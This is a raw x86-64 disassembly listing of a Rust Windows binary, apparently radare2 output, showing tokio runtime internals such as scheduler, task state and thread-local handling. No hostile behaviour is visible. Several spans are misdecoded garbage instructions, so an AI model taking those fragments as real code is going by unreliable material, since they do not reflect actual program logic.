mov rax, qword [rcx + 0x20]
test rax, rax
je 0x1400f1e1a
mov rdx, qword [rcx + 0x28]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
mov rbx, qword [rsp + 0x48]
cmp qword [rsi], 0
je 0x1400f1e64
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x30]
test rax, rax
je 0x1400f1353
mov rdx, qword [rcx + 0x38]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
jmp 0x1400f1353
movzx eax, cl
mov rcx, qword [r8 + 0x10]
mov rdx, qword [rcx + rax*8]
jmp 0x1400f199f
mov rax, qword [rsi + 0x18]
mov rcx, qword [rax + 0x18]
mov eax, dword [rax + 0x20]
cmp eax, ecx
jne 0x1400f1e20
cmp byte [rsi + 0x4b], 0
jne 0x1400f1e20
mov r13, qword [rbx + 0x10]
mov r14, qword [rbx + 0x18]
movzx edi, byte [rsi + 0x49]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1f7a
test dil, dil
je 0x1400f1f8f
lea rcx, [r13 + 0xc0]
call fcn.14010b5f0
jmp 0x1400f1623
lea rcx, [r13 + 0xc0]
call fcn.14010b5f0
jmp 0x1400f14b8
add r13, 0xc0
mov rcx, r13
call fcn.14010b250
cmp byte [rsi + 0x4b], 0
jne 0x1400f14e0
jmp 0x1400f14dc
lea rcx, [r13 + 0xc0]
call fcn.14010b5f0
jmp 0x1400f1841
add r13, 0xc0
mov rcx, r13
mov rdi, rdx
call fcn.14010b250
mov rdx, rdi
jmp 0x1400f199f
lea rcx, [r13 + 0xc0]
call fcn.14010b5f0
jmp 0x1400f1d3a
add r13, 0xc0
mov rcx, r13
call fcn.14010b250
test rbp, rbp
jne 0x1400f1da6
jmp 0x1400f1dc9
lea rcx, [r13 + 0xc0]
call fcn.14010b5f0
test dil, dil
jne 0x1400f1ea1
dec dword [rcx - 0x7f]
invalid
lea rdi, [rbx + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f2333
test eax, eax
jne 0x1400f234e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
sbb eax, 0xf4e8ffff
and edi, esi
inc esi
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
sbb eax, 0xf4e8ffff
and edi, esi
inc esi
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm8
mov qword [rsp + 0x40], 4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f2a70
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rdi
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f2a70
mov rcx, rbx
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
movaps xmm8, xmmword [rsp + 0x170]
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm11, xmmword [rsp + 0x1a0]
sub byte [rsp + 0x1a0], bl
sub byte [rsp + 0x1a0], bl
movaps xmm12, xmmword [rsp + 0x1b0]
movaps xmm13, xmmword [rsp + 0x1c0]
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400f2c10
lea rcx, [rbx + 0xf8]
call fcn.14010b5f0
mov rax, qword [rbx + 0x110]
cmp rax, qword [rbx + 0x100]
je 0x1400f0e2c
jmp 0x1400f0e3f
add rbx, 0xf8
mov rcx, rbx
call fcn.14010b250
jmp 0x1400f1173
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401085b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108b20
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108b20
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401085b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401087d0
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x3c]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0xa8]
call fcn.140111380
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x88]
lea r8, [rsp + 0xa8]
call fcn.140111380
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x88]
lea r8, [rsp + 0xa8]
call fcn.140111380
lea rcx, str.park_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0xc
call fcn.140108990
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str._internal_exception__blocking_task_ran_twice.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_task.rs
lea r8, [0x14014f0c0]
mov edx, 0x2d
call fcn.140108990
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108820
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x14014d350]
mov edx, 0x2e
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140108880
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x88], rax
lea rax, [0x140013bc0]
mov qword [rsp + 0x90], rax
lea rax, str.actual_
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
mov qword [rsp + 0xc8], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0xa8]
call fcn.140108560
mov rcx, rsi
call fcn.1400e42e0
lea rax, [0x14014c988]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x14014c580]
lea r8, [rsp + 0x30]
mov edx, 0x46
call fcn.1401088e0
call fcn.140111d90
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x28]
lea rdx, [rax - 2]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400f2a04
test rcx, rcx
jne 0x1400f2a3f
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x1400f2a3f
lock dec qword [rax]
jne 0x1400f2a3f
lea rcx, [rsi + 0x30]
call fcn.1400eaf90
jmp 0x1400f2a3f
test rax, rax
je 0x1400f2a3f
mov rdi, qword [rsi + 0x30]
test rdi, rdi
je 0x1400f2a3f
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400f2a3f
cmp qword [rbx + 0x10], 0x11
jb 0x1400f2a2d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f2a4f
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400f2c20
test al, 1
je 0x1400f2cab
test al, 2
jne 0x1400f2cc3
test al, 8
jne 0x1400f2c57
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
call fcn.1400f2a70
jmp 0x1400f2c6f
test al, 0x10
je 0x1400f2c6f
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f2d47
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x10]
mov qword [rsp + 0x20], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400f2cdb
jne 0x1400f2ca1
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x1400f29c0
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x28]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x28]
call fcn.140108560
int3
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xb0], 8
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f2ede
test eax, eax
jne 0x1400f2f24
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rax, [0x1400e4030]
mov rdi, rdx
mov rdx, rax
call fcn.1400d4720
mov rdx, rdi
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movabs rcx, 0x7fffffffffffffff
cmp qword [rax + 0xd0], rcx
jae 0x1400f3206
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp dword [rax + 0xd8], 2
add byte [rdx], al
add byte [rdx], al
jne 0x1400f2f51
add rdx, 0x10
mov rcx, rsi
call fcn.1400f3290
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x90], 0
lea rsi, [rsp + 0x80]
jmp 0x1400f3042
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
movups xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
cmp qword [rsp + 0x20], 0
jne 0x1400f3212
cmp qword [rsp + 0x30], 0
jne 0x1400f3258
mov rsi, qword [rsp + 0x38]
mov qword [rsp + 0x38], 0
test rsi, rsi
je 0x1400f3264
mov qword [rsp + 0x30], 0
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov rbx, qword [rdi + 0x108]
lea rax, [rsp + 0x20]
mov qword [rdi + 0x108], rax
add rdx, 0x10
mov rcx, rsi
call fcn.1400f3290
mov qword [rdi + 0x108], rbx
cmp qword [rsp + 0x30], 0
jne 0x1400f327c
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400f3031
call fcn.1400e87a0
mov rax, qword [rsp + 0x30]
inc rax
jmp 0x1400f3033
xor eax, eax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rax
lea rsi, [rsp + 0x20]
mov rcx, rsi
call fcn.1400ead40
mov rcx, rsi
call fcn.1400ebd70
cmp dword [rsp + 0x68], 3
je 0x1400f3106
lea rcx, [rsp + 0x68]
call fcn.1400e66e0
mov rax, qword [rsp + 0x68]
cmp rax, 2
je 0x1400f3106
lea rcx, [rsp + 0x70]
test rax, rax
je 0x1400f3113
mov rax, qword [rsp + 0x70]
lock dec qword [rax]
jne 0x1400f3106
call fcn.1400e4140
jmp 0x1400f3106
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rax, qword [rsp + 0x70]
lock dec qword [rax]
jne 0x1400f3106
call fcn.1400e4080
jmp 0x1400f3106
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rsp + 0x20]
call fcn.140108560
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0xc8]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140108820
int3
inc byte [rax]
add byte [rax], al
xor r15d, r15d
mov bpl, 1
xor r12d, r12d
jmp 0x1400f32e7
mov r13, rcx
mov rcx, rbx
call fcn.14010b250
mov rcx, r13
test rcx, rcx
je 0x1400f338c
nop word [rax + rax]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x30]
mov rcx, qword [rdi + 0x48]
mov rax, qword [rdi + 0x60]
and rax, r12
lea rdx, [rax + rax*2]
lea rbx, [rcx + rdx*8]
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], bpl
jne 0x1400f339f
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400f3376
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov rdx, qword [rcx + rax]
mov qword [rbx + 0x10], rdx
test rdx, rdx
je 0x1400f3350
mov rax, qword [rdx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rdx + rax + 8], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x1400f3358
mov qword [rbx + 8], 0
mov qword [rcx + rax], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rcx + rax + 8], 0
lock dec qword [rdi + 0x58]
mov al, 1
lock cmpxchg byte [rbx], r15b
jne 0x1400f32c3
test rcx, rcx
jne 0x1400f32e0
lea rax, [r12 + 1]
cmp r12, r14
mov r12, rax
jne 0x1400f32e7
jmp 0x1400f33b6
mov rcx, rbx
call fcn.14010b5f0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
jne 0x1400f3311
jmp 0x1400f3376
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f3431
xor ebx, ebx
jmp 0x1400f33d9
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f3431
mov rcx, qword [rsi + 0x50]
lea rdx, [rcx + 1]
mov r8, qword [rsi + 0x40]
cmp rdx, r8
cmovb r8, rbx
mov rdx, qword [rsi + 0x48]
neg r8
add r8, rcx
inc r8
mov qword [rsi + 0x50], r8
dec rax
mov qword [rsi + 0x58], rax
mov rcx, qword [rdx + rcx*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400f35db
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400f33d0
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400f33d0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x78], cl
jne 0x1400f3562
cmp byte [rdi + 0x90], 0
je 0x1400f3578
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x78], cl
jne 0x1400f358e
mov rax, qword [rdi + 0x98]
test rax, rax
je 0x1400f35a7
xor r14d, r14d
mov bpl, 1
lea rbx, [rdi + 0x78]
jmp 0x1400f3490
mov rax, qword [rdi + 0x98]
test rax, rax
je 0x1400f35a7
xor eax, eax
lock cmpxchg byte [rdi + 0x78], bpl
jne 0x1400f3555
mov rax, qword [rdi + 0x98]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [rdi + 0x98], rdx
test rax, rax
je 0x1400f3510
mov rcx, qword [rdi + 0x80]
test rcx, rcx
je 0x1400f3510
mov rax, qword [rcx + 8]
mov qword [rdi + 0x80], rax
test rax, rax
jne 0x1400f34e6
mov qword [rdi + 0x88], 0
mov qword [rcx + 8], 0
mov al, 1
lock cmpxchg byte [rdi + 0x78], r14b
je 0x1400f351c
mov r15, rcx
mov rcx, rbx
call fcn.14010b250
mov rcx, r15
test rcx, rcx
jne 0x1400f3525
jmp 0x1400f35a7
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x78], r14b
jne 0x1400f34f8
test rcx, rcx
je 0x1400f35a7
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400f35db
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400f3480
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400f3480
mov rcx, rbx
call fcn.14010b5f0
jmp 0x1400f349e
lea rcx, [rdi + 0x78]
call fcn.14010b5f0
cmp byte [rdi + 0x90], 0
jne 0x1400f344d
mov byte [rdi + 0x90], 1
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x78], cl
je 0x1400f345c
lea rcx, [rdi + 0x78]
call fcn.14010b250
mov rax, qword [rdi + 0x98]
test rax, rax
jne 0x1400f346c
mov rax, qword [rdi + 0x58]
test rax, rax
jne 0x1400f35f3
cmp dword [rsi], 2
je 0x1400f35c7
add rdi, 0xa8
mov rcx, rsi
mov rdx, rdi
call fcn.1400eb120
mov rax, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
lea rcx, str.assertion_failed:_handle.shared.owned.is_empty__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0x30
call fcn.140108630
int3
call qword [rdi + 0x18]
jmp 0x1400f3eb0
call fcn.14010b250
mov rcx, rbx
test rdi, rdi
jne 0x1400f3e43
jmp 0x1400f3eb0
mov eax, esi
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rbp + rcx*4 + 0xd], cl
cmc
mov bl, 5
add byte [rax - 0x73], cl
and al, 0x20
lea r8, [rsp + 0x30]
call fcn.140111c90
mov qword [rsp + 0x30], 0
add rbx, 0x10
lea rdx, [rsp + 0x20]
and al, 0x20
and al, 0x20
lea r8, [rsp + 0x30]
mov rcx, rbx
call fcn.140111e90
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_sync_notify.rs
call 0x18c0f4553
lea eax, [0x14014f2c8]
mov edx, 0x28
call fcn.140108630
int3
sub al, 0x69
rol byte [rax], 0xca
invalid
add al, ch
add qword fs:[rax], rax
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x28]
call fcn.140108560
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x60
mov r14, r9
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f41dc
test eax, eax
jne 0x1400f43be
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
movabs rax, 0x7ffffffffffffffe
cmp rcx, rax
ja 0x1400f4371
lea rax, [rcx + 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rax
mov rax, qword [rdx + 0xd8]
cmp rax, 2
je 0x1400f437d
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov edx, 1
mov r9d, 1
lock xadd qword [rcx], r9
test rax, rax
je 0x1400f4277
mov r8d, 0x118
test r9, r9
jns 0x1400f4288
jmp 0x1400f436f
test r9, r9
js 0x1400f436f
mov r8d, 0xb8
xor edx, edx
mov r9d, dword [0x140182314]
mov r10, qword gs:[0x58]
mov r9, qword [r10 + r9*8]
dec qword [r9 + 0xd0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
cmp dword [rcx + r8 + 0xa8], 0x3b9aca00
je 0x1400f43aa
mov edx, 1
mov r8d, 1
lock xadd qword [rcx], r8
test rax, rax
je 0x1400f42de
test r8, r8
jns 0x1400f42e9
jmp 0x1400f436f
test r8, r8
js 0x1400f436f
xor edx, edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsi], rdx
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x18], edi
movups xmm0, xmmword [rsp + 0x3c]
movups xmm1, xmmword [rsp + 0x4c]
movups xmmword [rsi + 0x1c], xmm0
movups xmmword [rsi + 0x2c], xmm1
mov edx, dword [rsp + 0x5c]
mov dword [rsi + 0x3c], edx
mov qword [rsi + 0x40], 0xffffffffffffffff
mov qword [rsi + 0x48], 0
mov qword [rsi + 0x58], 0
mov byte [rsi + 0x60], 0
mov byte [rsi + 0x68], 0
lock dec qword [rcx]
lea rcx, [rsp + 0x30]
sete dl
test rax, rax
je 0x1400f4359
test dl, dl
je 0x1400f4362
call fcn.1400e4140
jmp 0x1400f4362
test dl, dl
je 0x1400f4362
call fcn.1400e4080
nop
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xd0], rcx
xor eax, eax
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x28]
mov rdx, r14
call fcn.14010dd60
lea rcx, [0x14014d3d0]
mov edx, 0x73
mov r8, r14
call fcn.140108990
mov al, 1
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x28]
mov rdx, r14
call fcn.14010dd60
int3
and al, 0x60
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
pop rax
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
lea edx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400f474b
add byte [rax], al
add dl, cl
invalid
cmpxchg byte [rdi + 0x58], cl
jne 0x1400f4a88
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400f48c1
lea rcx, [rdi + 0x60]
mov rdx, rbx
call fcn.1400ec990
movzx eax, byte [rdi + 0x98]
test al, al
je 0x1400f4904
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
dec dword [rdi]
test byte [rdx + 1], cl
add byte [rax], al
dec dword [rdi]
test byte [rdx + 1], cl
add byte [rax], al
mov byte [rsi + 0x60], 1
mov qword [rsi + 0x40], 0xffffffffffffffff
mov rax, qword [rsi + 0x58]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
